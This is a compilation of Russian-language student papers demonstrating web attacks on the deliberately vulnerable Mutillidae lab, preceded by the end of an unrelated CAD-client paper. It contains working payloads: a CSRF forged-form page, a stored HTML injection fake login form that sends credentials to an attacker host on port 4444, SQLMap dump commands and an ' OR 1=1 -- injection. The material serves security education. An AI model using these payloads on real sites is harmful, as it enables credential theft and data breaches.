сервера. ПО клиента состоит из модулей для получения от сервера двух типов сообще-
ний: сообщения о структуре сборки из системы NX, и сообщения с видеопотоком от 
сервера визуализации. Клиент отправляет свои сообщения на NX сервер, с помощью 
кнопок, для обновления структуры сборки, или при помощи сенсора телефона для пе-
ремещения изображения модели на сервере. Так же он вводит и выбирает сервер визуа-
лизации из списка и подключается к нему. Общая схема клиентского интерфейса со-
стоит из бургер меню, в котором есть кнопки для открытия окон Соединение, Сборка, 
Вид, Камера. Так же есть область для вывода видеопотока и изображения с камеры, в 
которой можно управлять 3D-моделью. 

В результате работы была проанализирована предметная область и проведен об-
зор аналогов. Создан прототип клиентского приложения для удаленного управления 
3D-моделью в CAD-системе NX и наложения видеопотоков. Решен вопрос получения 
актуальной информации удаленного управления сборкой NX на портативном устрой-
стве. Так же решён вопрос наложения видеопотока с камеры и видеопотока с сервера. 
Благодаря чему пользователь может выполнять все перечисленные действия, не отходя 
от изделия в цехе предприятия. Также, сокращены временные затраты, связанных с 
устранением необходимости составления эскизов продукции и передачи их в цех. ПО 
принято для ознакомления и тестирования в Отделе Информационных Технологий фи-
лиала ПАО «ОАК» КнААЗ имени Ю.А. Гагарина. Выполненная работа является ядром 
будущего полнофункционального модуля визуализации для Siemens NX. 
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Аннотация. В работе рассматривается применение инструмента Nikto для выявления и 
анализа уязвимости Directory Browsing в веб-серверах. Directory Browsing представляет 
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В современных условиях цифровой трансформации веб-приложения становятся 

всё более сложными, что неизбежно приводит к появлению новых уязвимостей. Одной 
из наиболее опасных и при этом распространённых проблем является неправильная 
настройка прав доступа к файловой системе. Согласно исследованиям в области кибер-
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безопасности, подобные уязвимости регулярно обнаруживаются даже в крупных ком-
мерческих проектах, что подчёркивает актуальность данной проблемы [1].  

Одной из распространённых проблем является возможность просмотра содер-
жимого произвольных директорий путём модификации URL. Данная уязвимость, из-
вестная как Directory Traversal или Path Traversal [2], может привести к утечке конфи-
денциальной информации, включая файлы конфигурации, исходный код скриптов, а 
также информацию об учетных данных пользователей. В некоторых случаях злоумыш-
ленник может получить доступ к файлам, содержащим хэши паролей или даже их от-
крытые текстовые формы, что существенно повышает риски компрометации всей си-
стемы [3]. Некоторые веб-приложения неправильно настроены и позволяют просматри-
вать произвольные папки, через прямое изменение содержимого URL. Это может при-
вести к утечке конфиденциальных данных, включая файлы конфигурации, скрипты и 
даже учетные записи пользователей [4]. Для выявления подобных уязвимостей был ис-
пользован инструмент Nikto – специализированный сканер безопасности веб-серверов, 
предназначенный для автоматизированного поиска опасных конфигураций, устаревше-
го программного обеспечения и других потенциальных угроз [5]. Nikto работает на ос-
нове обширной базы данных, включающей сигнатуры известных уязвимостей, что поз-
воляет эффективно обнаруживать слабые места в настройке сервера (рисунок 1). При 
этом мы используем заведомо подверженную уязвимостям платформу Multillidae. 

 
Рисунок1 – Начало процесса сканирования 

В результате проведённого анализа было выявлено множество уязвимостей, свя-
занных с некорректной настройкой прав доступа к файлам и директориям. В частности, 
сканер обнаружил несколько индексируемых директорий, содержимое которых может 
быть просмотрено без аутентификации. Подобные уязвимости представляют серьёзную 
угрозу, поскольку злоумышленник может получить доступ к критически важным дан-
ным, включая файлы конфигурации и исходный код приложения. (рисунок 2). 

 
Рисунок 2 – Индексируемые директории 

Далее было проведено исследование директории 
«http://192.168.1.42/mutillidae/includes/» доступ к которой оказался возможен без каких-
либо ограничений. В данной директории содержатся PHP-скрипты, используемые веб-
приложением. Анализ этих файлов может позволить злоумышленнику выявить уязвимо-
сти, такие как SQL-инъекции, недостаточная валидация входных данных (рисунок 3).  
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Рисунок 3 – Содержимое директории includes 

Ещё более критичной оказалась уязвимость, связанная с доступом к директории 
«http://192.168.1.42/mutillidae/passwords/». где располагался файл accounts.txt, содержа-
щий учётные записи пользователей, включая логин и пароль администратора. В реаль-
ных условиях подобная утечка данных может привести к полной компрометации систе-
мы, особенно если административные учётные записи не были изменены после развёр-
тывания приложения (рисунок 4).  

 
Рисунок 4 – Содержимое файла accounts.txt 

Следует отметить, что даже в случаях, когда файлы с паролями отсутствуют или 
защищены, злоумышленник может извлечь дополнительную информацию, которая 
возможно будет являться основой для большого количества потенциальных векторов 
атак. Например, анализ структуры директорий и имён файлов позволяет определить 
используемые технологии, версии программного обеспечения. Для предотвращения 
подобных инцидентов необходимо строго контролировать права доступа к файлам, от-
ключать индексацию директорий, а также регулярно проводить аудит безопасности с 
использованием специализированных инструментов. Таким образом, некорректная 
конфигурация веб-сервера и недостаточный контроль доступа к файловой системе 
представляют собой серьезную угрозу информационной безопасности, последствия ко-
торой могут быть для организации весьма существенными. Подобные уязвимости не 
только создают риск несанкционированного доступа к конфиденциальной информации 
(персональным данным пользователей, коммерческой тайне, системным конфигураци-
ям), но и могут стать отправной точкой для полной компрометации инфраструктуры 
предприятия. Особую опасность представляет тот факт, что эксплуатация уязвимостей 
часто не требует от злоумышленника специальных знаний или сложных инструментов - 
во многих случаях достаточно простого изменения параметров URL в браузере. При 
этом последствия могут включать не только утечку данных, но и возможность внедре-
ния вредоносного кода, подмены содержимого файлов и скриптов или даже полного 
захвата контроля над системой. 
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ПРАКТИЧЕСКИЙ ПОДХОД К РЕАЛИЗАЦИИ УЯЗВИМОСТЕЙ ТИПА CSRF 
 
A PRACTICAL APPROACH TO IMPLEMENTING CSRF-TYPE  
VULNERABILITIES 
 
Аннотация. В данной работе исследуется уязвимость CSRF на примере тестовой среды 
Mutillidae, входящей в OWASP (Open Web Application Security Project) Top 10. Рассмат-
риваются механизмы эксплуатации данной уязвимости, при которых злоумышленник 
может выполнять несанкционированные действия от имени аутентифицированного 
пользователя. Для многих информационных систем, которые не используют готовые 
фреймворки при разработке своих приложений данная уязвимость является одной из 
наиболее опасных. 
Abstract. This paper examines the CSRF (Cross-Site Request Forgery) vulnerability using the 
example of the Mutillidae test environment included in the OWASP (Open Web Application 
Security Project) Top 10. The article considers the mechanisms of exploitation of this vulner-
ability, in which an attacker can perform unauthorized actions on behalf of an authenticated 
user. For many information systems that do not use ready-made frameworks when developing 
their applications, this vulnerability is one of the most dangerous. 
Ключевые слова: Mutillidae, CSRF, HTML, информационная безопасность, уязвимости. 
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CSRF (от англ. Cross-Site Request Forgery), также известная как XSRF, представля-
ет собой опасный тип атаки на веб-приложения, при котором злоумышленники создают 
поддельные веб-страницы, имитирующие легитимные ресурсы [1]. Основная цель таких 
атак заключается в выполнении несанкционированных запросов от имени доверенного 
пользователя без его согласия. Подобные атаки могут использоваться для проведения 
финансовых операций, изменения персональных данных, совершения покупок или полу-
чения доступа к конфиденциальной информации [2]. Для того, чтобы атака была выпол-
нена успешно, требуется авторизация пользователя. При этом, зачастую, не требуется 
подтверждение и после ввода пользователем аутентификационной информации выпол-
няется перенаправление его на корректный сайт. 

В данной работе мы используем среду Mutillidae, поскольку она позволяет имити-
ровать реально встречающиеся уязвимости в веб приложениях и обеспечивает безопас-
ную среду для экспериментов, которая не затрагивает основную IT инфраструктуру 
предприятия [3]. Использование подобного рода платформ формирует не только пони-
мание основных этапов реализации угроз безопасности, но и закладывает фундамент для 
реализации мер по защите информации [4]. Авторизуемся на платформе Mutillidae в ка-
честве пользователя «samurai» и перейдем на страницу добавления блогов (рисунок 1). 

 
Рисунок 1 – Пользователь samurai постит блог 

Рассмотрим формируемый POST-запрос. Можно заметить поля, отвечающие за 
различные параметры, но самое важное находится в строке № 16: она явно уязвимо для 
CSRF атаки и сохраняет написанный комментарий (рисунок 2). 

 
Рисунок 2 – Сформированный POST-запрос 

Теперь, когда мы знаем какие параметры передаются, создадим HTML-
страницу, чтобы ввести пользователя в заблуждение. Развернем сервер Apache на Kali 
Linux и создадим страницу index.html для фишингового сайта. На данной странице раз-
местим HTML, который будет содержать фишинговый сайт, имитирующий реальный 
(листинг 2) [5]. 
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Листинг 2 – Содержимое файла index.html 
<html> 
    <head> 
        <title>Welcome to fishing site, Monkey!</title> 
    </head> 
    <body> 
        <h1>Click on this image to display it in full size!</h1> 
 <a href="#" onclick="CSRF();"> 
         <img alt="AZRIS" 
src="https://icdn.lenta.ru/images/2020/02/15/11/20200215113105399/square_320_f11286
a137e57304ea0fe6c85173fbf9.jpg" 
         width=160" height="160"> 
       </a> 
 </body>  
<script type="text/javascript"> 
   function CSRF() 
   { 
 var f = document.createElement("form"); 
 f.method = "POST"; 
f.action = "http://192.168.1.42/mutillidae/index.php?page=add-to-your-blog.php"; 
 document.body.appendChild(f); 
 var e = document.createElement("input"); 
 e.setAttribute("type", "hidden"); 
 e.setAttribute("name", "csrf-token"); 
 e.setAttribute("value", "SecurityIsDisabled"); 
 f.appendChild(e); 
var e = document.createElement("input"); 
 e.setAttribute("type", "hidden"); 
 e.setAttribute("name", "blog_entry"); 
 e.setAttribute("value", "CSRF TESTING"); 
 f.appendChild(e); 
 var e = document.createElement("input"); 
 e.setAttribute("type", "hidden"); 
e.setAttribute("name", "add-to-your-blog-php-submit-button"); 
 e.setAttribute("value", "Save Blog Entry"); 
 f.appendChild(e); 
 f.submit();} 
</script> 
</html> 

Для того, чтобы Apache мог передавать этот контент, нам необходимо настроить 
виртуальный хост. Вместо того, чтобы редактировать существующий файл виртуально-
го хоста «/etc/apache2/sites-available/000-default.conf», создадим новый файл для нашего 
сайта – «/etc/apache2/sites-available/fake.com.conf», 

Теперь активируем профиль сайта с помощью утилиты a2ensite и деактивируем 
сайт по умолчанию, затем перезагрузим сервер. Созданная страница содержит изобра-
жение с ссылкой на выполнение скрипта, производящего POST-запрос (листинг 4) от 
имени пользователя, который авторизовался на уязвимом веб-сайте. 

Пользователь открывает страницу злоумышленника (рисунок 3), ссылку на ко-
торую, например, получил по почте в спам рассылке. 
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Рисунок 3 – Страница, созданная злоумышленником 

При переходе по ссылке, также были переданы куки, содержащие session ID, ко-
торый может быть использован при размещении комментария неавторизованным поль-
зователем. 

 
Рисунок 4 – Сформированный POST-запрос 

Проведенное исследование демонстрирует достаточно простой механизм реали-
зации CSRF, при этом перехваченный Session ID может быть использован злоумыш-
ленником при взаимодействии с веб приложением от имени авторизованного пользова-
теля. Данный тип атаки не является наиболее распространенным, но сохраняет свою 
актуальность. Следует отметить, что при внедрении в процесс разработки информаци-
онных систем механизмов обеспечения информационной безопасности еще на стадии 
проектирования позволяет существенно сократить риски, связанные с реализацией 
угроз. Особую значимость приобретает необходимость комплексного подхода к защите 
информации, сочетающего несколько методов верификации запросов поступающих как 
к пользователю так и от него. 
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ИСПОЛЬЗОВАНИЕ ФУТЕРА ДЛЯ ОСУЩЕСТВЛЕНИЯ HTML ИНЪЕКЦИЙ  
 
USING A FOOTER TO PERFORM HTML INJECTIONS 
 
Аннотация. Большое количество веб сайтов оснащены футером – самым нижним за-
вершающим и зачастую информативным блоком. В работе рассматривается подвержен-
ность футера к HTML-инъекциям. Выявлено, что элементы футера, традиционно счита-
ющиеся второстепенными с точки зрения обеспечения информационной безопасности, 
могут выступать каналом для внедрения вредоносного HTML-кода. Особую опасность 
представляют интерактивные компоненты футера, включая формы обратной связи и ди-
намически генерируемые блоки содержимого. 
Abstract. A large number of websites are equipped with a footer, which is the lowest, final and 
often informative block. The paper examines the footer's susceptibility to HTML injections. It 
has been revealed that the elements of the footer, traditionally considered secondary from the 
point of view of ensuring information security, can serve as a channel for the introduction of 
malicious HTML code. Interactive footer components, including feedback forms and dynami-
cally generated content blocks, are particularly dangerous.  
Ключевые слова: Mutillidae, Footer, HTML инъекций, информационная безопасность, 
уязвимости. 
Key words: Mutillidae, Footer, HTML Injection, Information Security, Vulnerabilities. 

 
SQL-инъекции на протяжении многих лет уверенно лидируют среди прочих в 

OWASP (Open Web Application Security Project) Top 10 [1]. Атаки на объекты информа-
тизации проводятся по новым векторам, постоянно появляются уязвимости нулевого 
дня и соответствующие обновления безопасности устраняющие угрозы [2]. Будем ис-
пользовать свободно распространяемое программное обеспечение Burp Suite для анализа 
[3]. Оно позволяет не только перехватывать и изменять запросы, но и автоматизировать 
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процесс поиска уязвимостей, делая тестирование на проникновение более эффективным 
и быстрым. Футер, или нижний колонтитул страницы, часто воспринимается разработ-
чиками как второстепенный элемент интерфейса [4]. Он служит нескольким ключевым 
целям: помогает пользователям ориентироваться на сайте, предоставляет контактную 
информацию, содержит юридические сведения, содержит дополнительную информацию 
об используемых технологиях. Недостаточное внимание к безопасности подобных эле-
ментов может стать причиной реализации массовых атак [5]. Рассмотрим пример, где на 
веб-странице в футере отображается некоторая информация (рисунок 1). 

 
Рисунок 1 – Футер сайта 

Используем Burp Suite для просмотра GET-запроса отправленного при переходе 
на страницу (рисунок 2). 

 
Рисунок 2– Полученный GET-запрос передаем в Repeater 

Раздел Request-Headers содержит заголовок User-Agent, в нем хранится строка, 
которая показана на данной странице и в футере на сайте. User Agent – это строка, 
идентифицирующая браузер и операционную систему для веб-сервера (рисунок 3). 

 
Рисунок 3 – Заголовок User-agent 

Попробуем провести простейшую SQL-инъекцию добавив апостроф. В том слу-
чае, если веб приложение сохраняет в базу данных значение User Agent, например, при 
сборе статистики, метрик, наличия виджетов для просмотра последних посетителей на 
сайте. Если в результате проверки поля на подверженность инъекции не было получено 
ошибок, то можно сделать вывод, что уязвимость есть. Одно из основных правил при 
анализе пользовательских данных – их необходимо проверять без исключения, даже в 
том случае, если данные получают не напрямую от пользователя. 

Теперь добавим в User-Agent инъекцию типа «Stored HTML Injection». 
Откроем Burp Suite, в разделе Proxy-Options добавим правило для замены User-

Agent (рисунок 4). 

 
Рисунок 4 – Новое правило для User-agent 

В переменной Replace внедрим HTML-код формы ввода логина и пароля для 
пользователя (листинг 1). 
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Листинг 1 – Инъекция типа «Stored HTML Injection» 
<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-
index:1000; background-color:white; padding:1em;">Please login with valid  
credenitals:<br><form name="login" action="http://192.168.1.7: 
4444/login.htm"> 
<table><tr><td>Username:</td><td><input type="text" name="username"/> 
</td></tr><tr><td>Password:</td> 
<td><input type="text" name="password"/></td></tr><tr> 
<td colspan=2 align=center><input type="submit" value="Login"/> 
</td></tr> 

Откроем страницу заново и получим следующий результат (рисунок 5). 

 
Рисунок 5 – Результат HTML-инъекции в User-Agent 

Далее злоумышленник получает через фальшивую форму учетные данные поль-
зователя. После нажатия на кнопку «Отправить», пользователь попадет на обычный 
сайт. Даже такой привычный элемент как футер сайта может стать потенциальным ка-
налом для атак на объекты, подлежащие защите в информационной системе. Используя 
специализированное программное обеспечение, например, Burp Suite, можно обнару-
жить, что часть интерактивного контента в футере возможно использовать для прове-
дения атак и получения доступа к базе данных или другой закрытой информации. 
Между тем, поисковые строки, формы подписки или контактные виджеты в футере мо-
гут содержать те же уязвимости, что и основные формы на сайте. При анализе защи-
щенности веб приложения нельзя исключать из плана проведения мероприятий иссле-
дование каждого компонента на подверженность атакам злоумышленников. 
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Аннотация. В данной работе рассматривается одна из HTML-инъекций – «Stored HTML 
Injection», также известной как Persistent HTML Injection. При Stored-атаке инъекция 
сохраняется на сервере, что приводит к ее многократному выполнению у всех пользо-
вателей, обращающихся к скомпрометированной странице. Далее в инъекцию может 
быть встроен код на java либо «невидмый» POST или использован другой вектор атаки. 
Abstract. In this paper, we consider one of the HTML injections - "Stored HTML Injection", 
also known as Persistent HTML Injection. During a Stored attack, the infection persists on the 
server, which leads to its repeated execution by all users accessing the compromised page. 
Further, java code can be embedded in the injection, or an "invisible" POST, or another attack 
vector can be used. 
Ключевые слова: Mutillidae, Stored HTML Injection, OWASP, информационная 
безопасность, уязвимости. 
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Веб-приложения часто содержат уязвимости, связанные с недостаточной про-
веркой корректности пользовательского ввода. Особую опасность представляет храни-
мая (Stored) HTML-инъекция, при которой вредоносный код сохраняется на сервере и 
выполняется при каждом обращении пользователей к заражённой странице [1]. В отли-
чие от отражённых (Reflected) атак, требующих взаимодействия с жертвой, хранимые 
инъекции могут массово поражать пользователей, значительно увеличивая потенци-
альный ущерб [2]. Такие атаки позволяют злоумышленникам подменять интерфейс 
приложения, создавая фальшивые формы ввода, похищать конфиденциальные данные, 
включая Cookies и сессии, перенаправлять пользователей на фишинговые страницы или 
выполнять кросс-сайтовый скриптинг (от англ. XSS) при внедрении JavaScript-кода [3]. 

Для проведения исследования была выбрана тестовая платформа Mutillidae, раз-
работанная в рамках проекта OWASP (от англ. Open Web Application Security Project) 
[4]. Использование заведомо уязвимых платформ позволяет без вреда для инфраструк-
туры предприятия смоделировать атаку [5]. 

Рассмотрим форму публикации записей в тестовом веб-приложении, которая и 
будет объектом исследования. Она содержит базовые поля для ввода текста и кнопку 
отправки данных. (Рисунок 1). 
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Рисунок 1 – Форма для блога 

При вводе произвольной строки будет опубликован стандартный блог. Благода-
ря HTML-инъекции злоумышленник может внедрять вредоносный HTML-код в прило-
жение через поле для ввода, что позволит изменить содержимое веб-страницы 

Далее в поле для ввода перенесем вредоносный html-код (листинг 1). 
Листинг 1 – Инъекция типа «Stored HTML» 

<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-
index:1000; background-color:white; padding:1em;">Please login with valid  
credenitals:<br><form name="login" action="http://192.168.1.7: 
4444/login.htm"> 
<table><tr><td>Username:</td><td><input type="text" name="username"/> 
</td></tr><tr><td>Password:</td> 
<td><input type="text" name="password"/></td></tr><tr> 
<td colspan=2 align=center><input type="submit" value="Login"/> 
</td></tr> 

Секция комментариев в блогах, позволяющая любым пользователям оставлять 
отзывы, является наиболее распространенным примером подверженного HTML-
инъекции раздела веб-приложения. Злоумышленник может внедрить вредоносный 
HTML-код или JavaScript, который будет выполняться в браузере других пользовате-
лей, что приводит к краже сессий, перенаправлению на фишинговые страницы или дру-
гим атакам. В листинге 1 создается фальшивая форма, в которую пользователь будет 
вводить свои данные для входа на сайт. Также в атрибуте form, параметр action содер-
жит IP-адрес машины злоумышленника. 

Теперь, заходя на страницу работы с блогом, получаем следующую форму, в ко-
торую пользователь вводит свои данные (рисунок 2). 

 
Рисунок 2 – Скомпрометированная страница 

Чтобы получить данные, отправленные пользователем, запустим на машине зло-
умышленника netcat, позволяющую принимать по TCP и UDP соединению данные, на 
разных портах, например, описанном в листинге 1 порту 4444. 

После нажатия кнопки «Login» успешно получим учетные данные пользователя 
(рисунок 3). 
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Рисунок 3 – Полученные пользовательские данные 

Уязвимость Stored HTML Injection представляет собой серьезную угрозу для 
безопасности веб-приложений, и ориентирована на отсутствие правильной обработки 
пользовательского ввода на веб страницах. В отличие от временных атак, сохраняемая 
инъекция создает долгосрочную угрозу безопасности, которая продолжает воздейство-
вать на всех пользователей, посещающих скомпрометированную страницу. Это пре-
вращает относительно простую технику в инструмент для масштабных атак, включая 
кражу данных, распространение вредоносного кода и манипуляцию контентом. Так же 
данный тип инъекций может быть использован для заражения машин пользователей и 
создания ботнет сетей. 
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АВТОМАТИЗИРОВАННЫЙ ПОИСК SQL-УЯЗМОСТЕЙ С ПОМОЩЬЮ 
SQLMAP НА ПЛАТФОРМЕ MUTILLIDAE 
 
AUTOMATED SQL VULNERABILITY SEARCH USING SQLMAP ON THE 
MUTILLIDAE PLATFORM 
 
Аннотация. В работе проведено исследование SQL-инъекций в тестовой среде 
Mutillidae с использованием инструмента автоматизации SQLMap. Особое внимание 
уделено практическим аспектам работы с SQLMap: от начального обнаружения уязви-
мости до полного извлечения данных из базы информации доступ к которой должен 
быть ограничен. На примере платформы Mutillidae демонстрируется работа с инстру-
ментами и возможностями SQLMap. 
Abstract. The paper examines SQL injections in the Mutillidae test environment using the 
SQLMap automation tool. Special attention is paid to the practical aspects of working with 
SQLMap: from the initial detection of vulnerabilities to the complete extraction of data from 
the database, access to which should be restricted. Using the example of the Mutillidae plat-
form, work with SQLMap tools and capabilities is demonstrated. 
Ключевые слова: SQLMap, Mutillidae, SQL-инъекций, уязвимость, OWASP. 
Key words: SQLMap, Mutillidae, SQL injection, Vulnerability, OWASP. 
 

Для систем управления базами данных наиболее опасным представляется вектор 
атаки направленный на эксплуатацию SQL-инъекций [1]. Существует достаточно 
большое количество разнообразных подходов к проведению атак используя данный 
вектор, при этом в состав инструментов для тестирования на проникновение включают 
автоматизированные средства анализа на наличие инъекций [2]. Даже неопытные зло-
умышленники могут проводить сложные атаки без знаний структуры запросов и меха-
низмов хранения данных в информационных системах. В данной работе в качестве 
примера для проведения анализа используется заведомо уязвимая среда Mutillidae. Вы-
бор этой платформы в качестве тестовой обусловлен ее открытой архитектурой, вклю-
чающей разнообразные уязвимости, характерные для реальных веб-приложений, что 
делает ее идеальным полигоном для изучения техник SQL-инъекций в контролируемых 
условиях [3]. SQLMap – это инструмент для тестирования на проникновение, автомати-
зирующий процесс выявления и эксплуатации SQL-инъекций, получения доступа к 
серверам баз данных и информации хранящейся в них [4]. SQLMap обладает широким 
функционалом, начиная от сбора отпечатков (fingerprinting) баз данных по полученным 
от них откликам, до возможности получения доступа к файловой системе и выполнения 
команд в операционной системе [5]. Выполним сбор информации об исследуемом сай-
те, функционирующем на платформе Mutillidae по адресу http://192.168.1.44/mutillidae. 
Данные от пользователя методом GET, передаются после знака «?». 

Рассмотрим листинг 1, как пример запроса к веб ресурсу. Имя первой перемен-
ной username, а передаваемое значение «– egor»; Имя второй переменной password, 
значение «– pass». Для разделения переменных используется символ «&». 

Листинг 1 – URL исследуемого сайта 
http://192.168.1.44/mutillidae/index.php?page=user-info.php / 
&username=egor&password=pass&user-info-php-submit-button= / 
View+Account+Details 

Проверим, являются ли переменные уязвимыми к инъекциям. Для этого будем 
использовать SQLMap в составе kali linux. Параметр «–batch» устанавливает все опции 
в диалогах по умолчанию. Чтобы перечислить базы данных СУБД используется опция 
«--dbs» (листинг 2). 
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Листинг 2 – Перечисление баз данных СУБД 
sqlmap -u "http://192.168.1.44/mutillidae/index.php?page=user-
info.php&username=egor&password=pass&user-info-php-submit-
button=View+Account+Details" -dbs 

Оба параметра уязвимы для выполнения инъекций. В результате получены 
названия семи различных БД для целевой СУБД (рисунок 1). 

 
Рисунок 1 – Полученные названия баз данных 

Чтобы получить список таблиц используется опция «-- tables» и через параметр 
«-D» указывается целевая БД. Запускаем SQLMap для построения списка таблиц в базе 
данных owasp10 (листинг 3). 

Листинг 3 – Перечисление таблиц в БД owasp10 
sqlmap -u "http://192.168.1.44/mutillidae/index.php?page=user-
info.php&username=egor&password=pass&user-info-php-submit-
button=View+Account+Details" -D owasp10 --tables 

Получен список таблиц, что позволяет свободно выполнить нужный запрос с 
инъекцией (рисунок 2). 

 
Рисунок 2 – Список таблиц в БД owasp10 

Вывод колонок производиться с помощью опции «–columns», для таблицы «-T» 
accounts в БД «-D owasp10» на исследуемом сайте следующей командой (листинг 4). 

Листинг 4 – Перечисление колонок таблицы accounts 
sqlmap -u "http://192.168.1.44/mutillidae/index.php?page=user-
info.php&username=egor&password=pass&user-info-php-submit-
button=View+Account+Details" -D owasp10 –T accounts --columns 

Данные о колонках представлены в виде произвольной таблицы, соответствую-
щей реальной в БД (базе данных) (рисунок 3).  

 
Рисунок 3 – Список колонок для таблицы accounts и 

используемые типы данных 
Для получения содержимого используется опция «--dump». Её можно указать 

вместе с базой данных, и тогда будет сделан дамп всей базы данных, а можно ограни-
чить данные одной таблицей или одной колонкой. Получим дамп для таблицы accounts 
(рисунок 4). 
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Рисунок 4 – Полученный дамп таблицы accounts 

Инструмент SQLMap является очень эффективным для выявления и эксплуата-
ции SQL-инъекций. Даже при базовой настройке программное обеспечение способно 
автоматически определять уязвимые параметры, идентифицировать тип СУБД и осу-
ществлять полномасштабное извлечение данных из базы. Подобного рода инструмен-
тарий может быть использован специалистами по информационной безопасности для 
анализа защищенности периметра сети предприятия в составе Red Team для осуществ-
ления потенциально возможных атак и анализа ИТ-инфраструктуры с целью выявления 
«слабых мест» с точки зрения защиты информации. 
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УЯЗВИМОСТИ SQL-ИНЪЕКЦИИ USER INFO НА БАЗЕ MUTILLIDAE 
 
SQL INJECTION VULNERABILITIES OF USER INFO BASED ON MUTILLIDAE 
 
Аннотация. Работа посвящена исследованию уязвимостей типа SQL-инъекции в модуле 
User Info тестовой среды Mutillidae. Особое внимание уделено практической эксплуата-
ции уязвимости, представлен поэтапный сценарий проведения атаки, позволяющей по-
лучить несанкционированный доступ к конфиденциальным данным, хранящимся в раз-
вернутой системе управления базами данных. 
Abstract. The paper is devoted to the investigation of SQL injection type vulnerabilities in the 
User Info module of the Mutillidae test environment. Special attention is paid to the practical 
exploitation of the vulnerability, and a step-by-step scenario of an attack is presented that allows 
unauthorized access to confidential data stored in a deployed database management system. 
Ключевые слова: SQL-инъекция, Mutillidae, User Info, инъекционные уязвимости, 
MySQL. 
Key words: SQL injection, Mutillidae, User Info, Injection vulnerabilities, MySQL. 
 

SQL (от англ. Structured Query Language)-инъекции остаются одной из наиболее 
серьёзных и распространённых уязвимостей веб-приложений, занимая лидирующие 
позиции в рейтинге OWASP (от англ. Open Web Application Security Project) Top 10 на 
протяжении многих лет [1]. Особую опасность представляют инъекции в модулях ра-
боты с пользовательскими данными, где эксплуатация некорректных запросов позволя-
ет злоумышленникам получать несанкционированный доступ к конфиденциальной ин-
формации, включая учётные и персональные данные пользователей [2]. 

Актуальность данной проблемы обусловлена тем, что, несмотря на развитие со-
временных методов защиты, SQL-инъекции продолжают использоваться в реальных 
атаках, приводя к масштабным утечкам данных и финансовым потерям компаний. 

В данной работе рассматриваются методы эксплуатации SQL-инъекций на при-
мере среды Mutillidae, которая является одной из наиболее часто используемых специа-
листами по информационной безопасности при обучении и анализе информационных 
систем. Mutillidae предоставляет платформу для демонстрации потенциальных атак 
злоумышленников в контролируемых условиях, позволяя детально изучить механизмы 
работы различных типов SQL-инъекций [3]. С помощью Mutillidae, открытой платфор-
мы для тестирования уязвимости, продемонстрируем особенности SQL-инъекций для 
получения конфиденциальной информации о пользователях веб-ресурса [4]. 

Выполним регистрацию пользователя с учетными данными egor:pass. Это требу-
ется для понимания структуры отправляемого запроса к базе данных (рисунок 1). 

 
Рисунок 1 – Результат регистрации нового пользователя 

Посмотрим, как формируется GET-запрос, для этого в браузере для просмотра 
кода нажмем F12, выберем вкладку Network, выберем все типы данных и нужный файл 
– страница index.php?page=user-info.php, посмотрим раздел Headers (рисунок 2). 
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Рисунок 2 – Формируемый GET-запрос 

Данные с формы попадают в запрос напрямую, что является основным призна-
ком отсутствия защиты от SQL-инъекций. Подобного рода неточности при разработке 
интерфейсов взаимодействия с СУБД и являются отправной точкой для последующего 
вектора атаки [5]. 

Строки, отправляемые с формы, представляют собой символьную последова-
тельность в одинарных кавычках «‘» – апострофы или двойных «“». В диалекте ANSI 
SQL допускаются только одинарные кавычки. 

Пусть СУБД (Система управления базами данных), которая используется для 
данного приложения – MySQL. Проверим, что будет если передать в качестве имени 
пользователя кавычку (рисунок 3). 

 
Рисунок 3– Сообщение об ошибке 

Получено сообщение об ошибке, которое в защищённом приложении будет 
скрыто от пользователя. Из него можно узнать, что действительно используется 
MySQL, а также извлечь отправляемый на сервер запрос (листинг 1). 

Листинг 1 – Запрос, отправляемый к серверу БД 
SELECT * FROM accounts WHERE username = ‘<user>’ AND password = ‘<pass>’ 

Из данного запроса видно, что на форму выводятся все записи из таблицы ac-
counts, которые прошли проверку. 

Используем простую SQL-инъекцию в поле ввода имени пользователя вида: ‘ 
OR 1=1 --, которая позволяет вывести всю информацию из таблицы accounts (листинг 
2). 

Листинге 2 – Пример запроса с инъекцией 
SELECT * FROM accounts WHERE username = ‘’ OR 1=1 -- 

Запрос читается системой следующим образом: выдать все записи из таблицы 
пользователей, у которых пустое поле имени или если выражение 1=1 истинно, что все-
гда будет так. Символы «--»  означают строковый комментарий в MySQL, чтобы про-
пустить все, что дальше в строке запроса, то есть исключить условие проверки пароля. 
Так, будет получена вся таблица accounts (рисунок 4). 
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Рисунок 4 – Фрагмент таблица Accounts 

Данная инъекция является довольно опасной, так как показывает результаты вы-
борки из БД, сообщения об ошибках не обрабатываются, также данные с формы пере-
даются напрямую в запрос, а служебные символы такие как, кавычки, строковые ком-
ментарии и другие не фильтруются. Злоумышленник может, например, передав после 
1=1 любой код на языке СУБД удалить всю таблицу с данными, с целью нарушения 
работы всей инфраструктуры предприятия. Исследование на наличие SQL-инъекций 
является критически важным этапом обеспечения безопасности веб-приложений, кото-
рые как следствие могут обеспечить отказ в обслуживании со стороны всей инфра-
структуры организации. Уязвимости данного типа позволяют злоумышленникам не 
только получать несанкционированный доступ к конфиденциальной информации поль-
зователей, но и полностью компрометировать работу всей системы. 

Основной причиной уязвимостей становится пренебрежение базовыми принци-
пами технологии разработки защищенных приложений. Формирование запросов путем 
прямой конкатенации пользовательского ввода создает серьезные риски для всей 
СУБД. Особую опасность представляет возможность выполнения произвольных ко-
манд, что может привести к серьёзным последствиям, решение которых потребует 
больших вложений и длительного времени простоя информационного ресурса. 
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ИССЛЕДОВАНИЕ УЯЗВИМОСТИ BROKEN AUTHENTICATION НА БАЗЕ 
MUTILLIDAE 
 
RESEARCH OF VULNERABILITIES OF BROKEN AUTHENTICATION BASED  
ON MUTILLIDAE 
 
Аннотация. Работа посвящена исследованию уязвимости класса Broken Authentication 
на примере тестовой среды Mutillidae. Основное внимание уделено анализу распро-
страненных уязвимостей механизмов аутентификации и управления сессиями, а имен-
но слабым политикам паролей и логинов. В работе представлены практические экспе-
рименты, проведенные в среде, которые демонстрируют реальные сценарии эксплуата-
ции данных уязвимостей. 
Abstract. The paper is devoted to the study of the vulnerability of the Broken Authentication 
class using the example of the Mutillidae test environment. The main focus is on analyzing 
common vulnerabilities in authentication mechanisms, namely weak password and login poli-
cies. The paper presents practical experiments conducted in the environment, which demon-
strate real-world scenarios for exploiting these vulnerabilities. 
Ключевые слова: Mutillidae, Broken Authentication, Cookie, Burp Suite, уязвимости. 
Key words: Mutillidae, Broken Authentication, Cookie, Burp Suite, Vulnerabilities. 
 

